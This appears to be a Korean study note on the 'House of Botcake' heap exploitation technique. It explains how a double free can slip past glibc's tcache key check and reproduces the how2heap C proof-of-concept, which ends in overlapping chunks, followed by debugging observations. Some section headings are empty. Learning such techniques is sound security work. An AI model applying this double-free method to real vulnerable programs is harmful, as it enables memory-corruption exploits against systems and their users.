>glibc 2.25에서 가능
💡 tcache에서 key값을 변조하지 않고 dfb를 트리거할 수 있는 공격방법
<익스 시나리오>
=========사전 준비=========
==========공격 수행==========
<원리>
이것이 가능한 이유는 free 과정에서 청크를 tache에 넣을 때는 오로지 청크의 key값이 tcache_key
와 동일한지의 여부만으로 double free를 검사하기 때문이다.
이미 unsorted bin에 존재하고 있는 victim chunk는 unsorted bin에 있기 때문에 key값의 위치에는 main_arena영역의 특정 값이 존재한다. 이 값이 tcache_key
와는 같을리가 없으므로 보호기법을 우회하여 tcache에 중복해 무사히 들어갈 수 있다.
따라서 victim청크를 병합시켜 unsorted bin에 넣어놓은 후 의도적으로 tcache를 비워 그 청크를 또 tcache에 넣어버린다면 double free를 할 수 있다.
<house of botcake 코드> - how2heap glibc 2.35기준
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you can simply double free the victim and do a
* simple tcache poisoning
* And thanks to @anton00b and @subwire for the weird name of this technique */
// disable buffering so _IO_FILE does not interfere with our heap
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// introduction
puts("This file demonstrates a powerful tcache poisoning attack by tricking malloc into");
puts("returning a pointer to an arbitrary location (in this demo, the stack).");
puts("This attack only relies on double free.\n");
// prepare the target
intptr_t stack_var[4];
puts("The address we want malloc() to return, namely,");
printf("the target address is %p.\n\n", stack_var);
// prepare heap layout
puts("Preparing heap layout");
puts("Allocating 7 chunks(malloc(0x100)) for us to fill up tcache list later.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
printf("Allocating a chunk for later consolidation: prev @ %p\n", prev);
intptr_t *a = malloc(0x100);
printf("Allocating the victim chunk: a @ %p\n", a);
puts("Allocating a padding to prevent consolidation.\n");
malloc(0x10);
// cause chunk overlapping
puts("Now we are able to cause chunk overlapping");
puts("Step 1: fill up tcache list");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("Step 2: free the victim chunk so it will be added to unsorted bin");
free(a);
puts("Step 3: free the previous chunk and make it consolidate with the victim chunk.");
free(prev);
puts("Step 4: add the victim chunk to tcache list by taking one out from it and free victim again\n");
malloc(0x100);
/*VULNERABILITY*/
free(a);// a is already freed
/*VULNERABILITY*/
puts("Now we have the chunk overlapping primitive:");
int prev_size = prev[-1] & 0xff0;
int a_size = a[-1] & 0xff0;
printf("prev @ %p, size: %#x, end @ %p\n", prev, prev_size, (void *)prev+prev_size);
printf("victim @ %p, size: %#x, end @ %p\n", a, a_size, (void *)a+a_size);
a = malloc(0x100);
memset(a, 0, 0x100);
prev[0x110/sizeof(intptr_t)] = 0x41414141;
assert(a[0] == 0x41414141);
return 0;
}
<실제 디버깅>
공격 수행-1 후의 상황
공격수행-2 후의 상황
공격 수행-4
0x100 할당 1회 후
parseheap 이 이상하긴 하지만 tcache entry를 살펴보면 7개 연속 청크 중 마지막이 할당되어 tcache에서 사라진 상태임
즉, prev chunk와 victim chunk는 병합된 상태로 unsorted bin에 존재 + tcache는 6개가 차있는 상태
victim chunk free 후
victim chunk가 tcache의 빈자리로 들어가게 됨.
즉, victim chunk는 tcache에도 있고 unsorted bin에도 (병합된 상태로) 있는 double free상태가 된다.